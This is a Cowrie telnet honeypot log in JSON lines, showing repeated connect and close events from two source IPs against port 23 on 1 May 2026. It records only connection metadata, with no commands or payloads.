{"eventid":"cowrie.session.closed","duration":31.77931523323059,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:49.829345Z","src_ip":"208.115.219.122","session":"bab0607dbd02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.58796763420105,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:49.933322Z","src_ip":"208.115.219.122","session":"6968dd536023","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":60482,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5fccf03b0a9","protocol":"telnet","message":"New connection: 208.115.200.90:60482 (10.17.0.5:23) [session: c5fccf03b0a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:50.035892Z"}
{"eventid":"cowrie.session.closed","duration":30.75706648826599,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:50.042094Z","src_ip":"208.115.219.122","session":"254f127e1c2f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.75194501876831,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:50.061964Z","src_ip":"208.115.219.122","session":"b450c3734816","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38446,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b418f3ffadb","protocol":"telnet","message":"New connection: 208.115.219.122:38446 (10.17.0.5:23) [session: 9b418f3ffadb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:50.124139Z"}
{"eventid":"cowrie.session.closed","duration":30.4932918548584,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:50.148255Z","src_ip":"208.115.219.122","session":"471b19b91850","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":60524,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ab442593317","protocol":"telnet","message":"New connection: 208.115.200.90:60524 (10.17.0.5:23) [session: 9ab442593317]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:50.165391Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":60536,"dst_ip":"10.17.0.5","dst_port":23,"session":"a10c005603d2","protocol":"telnet","message":"New connection: 208.115.200.90:60536 (10.17.0.5:23) [session: a10c005603d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:50.279486Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":60538,"dst_ip":"10.17.0.5","dst_port":23,"session":"332f12342f01","protocol":"telnet","message":"New connection: 208.115.200.90:60538 (10.17.0.5:23) [session: 332f12342f01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:50.293994Z"}
{"eventid":"cowrie.session.closed","duration":30.673408031463623,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:51.033851Z","src_ip":"208.115.219.122","session":"1cc09a248e21","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.016066789627075,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:51.130438Z","src_ip":"208.115.219.122","session":"9d667675b7ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.720740795135498,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:51.143653Z","src_ip":"208.115.200.90","session":"f91880c1cca0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":39304,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f7cd3c40539","protocol":"telnet","message":"New connection: 208.115.219.122:39304 (10.17.0.5:23) [session: 4f7cd3c40539]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:51.161469Z"}
{"eventid":"cowrie.session.closed","duration":30.73132348060608,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:51.311390Z","src_ip":"208.115.200.90","session":"478027e1f2d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.93517780303955,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:51.349741Z","src_ip":"208.115.200.90","session":"b0fb16981317","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.424986124038696,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:51.369983Z","src_ip":"208.115.219.122","session":"ec1f80ee81b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":60966,"dst_ip":"10.17.0.5","dst_port":23,"session":"7fa4d81a2b19","protocol":"telnet","message":"New connection: 208.115.200.90:60966 (10.17.0.5:23) [session: 7fa4d81a2b19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:51.447339Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":39216,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8e59f8fdf42","protocol":"telnet","message":"New connection: 208.115.219.122:39216 (10.17.0.5:23) [session: e8e59f8fdf42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:51.463698Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":60972,"dst_ip":"10.17.0.5","dst_port":23,"session":"004a729afa7c","protocol":"telnet","message":"New connection: 208.115.200.90:60972 (10.17.0.5:23) [session: 004a729afa7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:51.490909Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":60644,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9363b0dfab3","protocol":"telnet","message":"New connection: 208.115.200.90:60644 (10.17.0.5:23) [session: b9363b0dfab3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:51.531087Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":60984,"dst_ip":"10.17.0.5","dst_port":23,"session":"42d6980488aa","protocol":"telnet","message":"New connection: 208.115.200.90:60984 (10.17.0.5:23) [session: 42d6980488aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:51.548546Z"}
{"eventid":"cowrie.session.closed","duration":31.50874614715576,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:51.737859Z","src_ip":"208.115.219.122","session":"0efa78bc0ac8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":32958,"dst_ip":"10.17.0.5","dst_port":23,"session":"8637247b0c00","protocol":"telnet","message":"New connection: 208.115.200.90:32958 (10.17.0.5:23) [session: 8637247b0c00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:52.022590Z"}
{"eventid":"cowrie.session.closed","duration":30.814724683761597,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:52.033457Z","src_ip":"208.115.219.122","session":"b2ab4b93153a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.57927703857422,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:52.061733Z","src_ip":"208.115.219.122","session":"cf93afc918f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":39398,"dst_ip":"10.17.0.5","dst_port":23,"session":"8055d3760dbf","protocol":"telnet","message":"New connection: 208.115.219.122:39398 (10.17.0.5:23) [session: 8055d3760dbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:52.108050Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":39430,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c3c3e8feb45","protocol":"telnet","message":"New connection: 208.115.219.122:39430 (10.17.0.5:23) [session: 8c3c3e8feb45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:52.156619Z"}
{"eventid":"cowrie.session.closed","duration":30.402283191680908,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:52.246541Z","src_ip":"208.115.200.90","session":"b372e506090d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.93841290473938,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:52.281670Z","src_ip":"208.115.200.90","session":"68b1a31927ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":33062,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c85487344ee","protocol":"telnet","message":"New connection: 208.115.200.90:33062 (10.17.0.5:23) [session: 4c85487344ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:52.366216Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":33128,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac259ab0c005","protocol":"telnet","message":"New connection: 208.115.200.90:33128 (10.17.0.5:23) [session: ac259ab0c005]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:52.467836Z"}
{"eventid":"cowrie.session.closed","duration":31.18510413169861,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:52.556623Z","src_ip":"208.115.200.90","session":"721b36ec71d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.737805604934692,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:52.666077Z","src_ip":"208.115.219.122","session":"e19ad14bad24","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":39724,"dst_ip":"10.17.0.5","dst_port":23,"session":"310752e816ce","protocol":"telnet","message":"New connection: 208.115.219.122:39724 (10.17.0.5:23) [session: 310752e816ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:53.037473Z"}
{"eventid":"cowrie.session.closed","duration":30.91568398475647,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:53.072290Z","src_ip":"208.115.200.90","session":"0d5b502134f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.993764400482178,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:53.109088Z","src_ip":"208.115.200.90","session":"64acc49da3aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":39766,"dst_ip":"10.17.0.5","dst_port":23,"session":"367e1f88949a","protocol":"telnet","message":"New connection: 208.115.219.122:39766 (10.17.0.5:23) [session: 367e1f88949a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:53.143524Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":33612,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4125fa630ee","protocol":"telnet","message":"New connection: 208.115.200.90:33612 (10.17.0.5:23) [session: a4125fa630ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:53.190655Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":33620,"dst_ip":"10.17.0.5","dst_port":23,"session":"115c2290cae7","protocol":"telnet","message":"New connection: 208.115.200.90:33620 (10.17.0.5:23) [session: 115c2290cae7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:53.253311Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":33638,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e4be78c9ab4","protocol":"telnet","message":"New connection: 208.115.200.90:33638 (10.17.0.5:23) [session: 5e4be78c9ab4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:53.302821Z"}
{"eventid":"cowrie.session.closed","duration":30.882601022720337,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:53.328955Z","src_ip":"208.115.200.90","session":"9c2a87173ac3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":39840,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a980d2c7d49","protocol":"telnet","message":"New connection: 208.115.219.122:39840 (10.17.0.5:23) [session: 3a980d2c7d49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:53.481629Z"}
{"eventid":"cowrie.session.closed","duration":31.47617483139038,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:53.511167Z","src_ip":"208.115.200.90","session":"9ba1ac63821b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":39860,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2a27d3197d2","protocol":"telnet","message":"New connection: 208.115.219.122:39860 (10.17.0.5:23) [session: c2a27d3197d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:53.583988Z"}
{"eventid":"cowrie.session.closed","duration":31.16552233695984,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:53.628269Z","src_ip":"208.115.219.122","session":"97aa5ebc5612","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":33866,"dst_ip":"10.17.0.5","dst_port":23,"session":"76931a9ac32c","protocol":"telnet","message":"New connection: 208.115.200.90:33866 (10.17.0.5:23) [session: 76931a9ac32c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:53.638590Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":33906,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6d249177f86","protocol":"telnet","message":"New connection: 208.115.200.90:33906 (10.17.0.5:23) [session: d6d249177f86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:53.654581Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":39876,"dst_ip":"10.17.0.5","dst_port":23,"session":"eed8705aa9ca","protocol":"telnet","message":"New connection: 208.115.219.122:39876 (10.17.0.5:23) [session: eed8705aa9ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:53.763029Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34200,"dst_ip":"10.17.0.5","dst_port":23,"session":"7565227966ef","protocol":"telnet","message":"New connection: 208.115.200.90:34200 (10.17.0.5:23) [session: 7565227966ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:53.984668Z"}
{"eventid":"cowrie.session.closed","duration":30.84713077545166,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:54.012512Z","src_ip":"208.115.219.122","session":"7efd21293386","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.90531349182129,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:54.187514Z","src_ip":"208.115.200.90","session":"024efc94b17c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.195486783981323,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:54.242782Z","src_ip":"208.115.219.122","session":"448b15824f4f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34218,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a68be266ec6","protocol":"telnet","message":"New connection: 208.115.200.90:34218 (10.17.0.5:23) [session: 6a68be266ec6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:54.271693Z"}
{"eventid":"cowrie.session.closed","duration":30.54504108428955,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:54.301302Z","src_ip":"208.115.219.122","session":"8624c8c9fd37","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.6811842918396,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:54.309246Z","src_ip":"208.115.200.90","session":"a7c35e281ee2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":39908,"dst_ip":"10.17.0.5","dst_port":23,"session":"846e69228331","protocol":"telnet","message":"New connection: 208.115.219.122:39908 (10.17.0.5:23) [session: 846e69228331]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:54.318205Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":39910,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b9a76ce57bf","protocol":"telnet","message":"New connection: 208.115.219.122:39910 (10.17.0.5:23) [session: 5b9a76ce57bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:54.342570Z"}
{"eventid":"cowrie.session.closed","duration":30.967344284057617,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:54.437783Z","src_ip":"208.115.200.90","session":"cb519b6e747d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.28449273109436,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:54.443355Z","src_ip":"208.115.200.90","session":"a02c872f7212","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":39958,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9989f3e7c31","protocol":"telnet","message":"New connection: 208.115.219.122:39958 (10.17.0.5:23) [session: d9989f3e7c31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:54.472458Z"}
{"eventid":"cowrie.session.closed","duration":30.58277940750122,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:54.549358Z","src_ip":"208.115.219.122","session":"8419901bc0a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.49413752555847,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:55.017192Z","src_ip":"208.115.219.122","session":"0fa75b942a0f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":47360,"dst_ip":"10.17.0.5","dst_port":23,"session":"4df06455752e","protocol":"telnet","message":"New connection: 208.115.219.122:47360 (10.17.0.5:23) [session: 4df06455752e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:55.087992Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":53930,"dst_ip":"10.17.0.5","dst_port":23,"session":"5accb4f921d6","protocol":"telnet","message":"New connection: 208.115.200.90:53930 (10.17.0.5:23) [session: 5accb4f921d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:55.172574Z"}
{"eventid":"cowrie.session.closed","duration":30.91692066192627,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:55.187184Z","src_ip":"208.115.200.90","session":"75ad1dadc480","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.09751057624817,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:55.211995Z","src_ip":"208.115.219.122","session":"cdfa61d53dc1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":53934,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca385c08a61b","protocol":"telnet","message":"New connection: 208.115.200.90:53934 (10.17.0.5:23) [session: ca385c08a61b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:55.258632Z"}
{"eventid":"cowrie.session.closed","duration":30.89051842689514,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:55.279203Z","src_ip":"208.115.219.122","session":"31762a183f3e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":54056,"dst_ip":"10.17.0.5","dst_port":23,"session":"cbe204f85de8","protocol":"telnet","message":"New connection: 208.115.200.90:54056 (10.17.0.5:23) [session: cbe204f85de8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:55.406261Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":54108,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce1365381f17","protocol":"telnet","message":"New connection: 208.115.200.90:54108 (10.17.0.5:23) [session: ce1365381f17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:55.452600Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":54174,"dst_ip":"10.17.0.5","dst_port":23,"session":"57045acea10a","protocol":"telnet","message":"New connection: 208.115.200.90:54174 (10.17.0.5:23) [session: 57045acea10a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:55.485567Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":54250,"dst_ip":"10.17.0.5","dst_port":23,"session":"d493db76344c","protocol":"telnet","message":"New connection: 208.115.200.90:54250 (10.17.0.5:23) [session: d493db76344c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:55.578829Z"}
{"eventid":"cowrie.session.closed","duration":31.550130605697632,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:55.620354Z","src_ip":"208.115.200.90","session":"f84e1556ba71","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":54294,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb6785bf8c5e","protocol":"telnet","message":"New connection: 208.115.200.90:54294 (10.17.0.5:23) [session: fb6785bf8c5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:55.671670Z"}
{"eventid":"cowrie.session.closed","duration":30.917942762374878,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:56.020772Z","src_ip":"208.115.219.122","session":"0ad0ad7deb5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":47606,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c7db9d64fbc","protocol":"telnet","message":"New connection: 208.115.219.122:47606 (10.17.0.5:23) [session: 5c7db9d64fbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:56.108608Z"}
{"eventid":"cowrie.session.closed","duration":30.83416509628296,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:56.119335Z","src_ip":"208.115.200.90","session":"62514a75cdad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":47630,"dst_ip":"10.17.0.5","dst_port":23,"session":"c61f2a76fe46","protocol":"telnet","message":"New connection: 208.115.219.122:47630 (10.17.0.5:23) [session: c61f2a76fe46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:56.138939Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":54420,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a708c29ce86","protocol":"telnet","message":"New connection: 208.115.200.90:54420 (10.17.0.5:23) [session: 2a708c29ce86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:56.222249Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":54444,"dst_ip":"10.17.0.5","dst_port":23,"session":"908cc2a7a495","protocol":"telnet","message":"New connection: 208.115.200.90:54444 (10.17.0.5:23) [session: 908cc2a7a495]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:56.312056Z"}
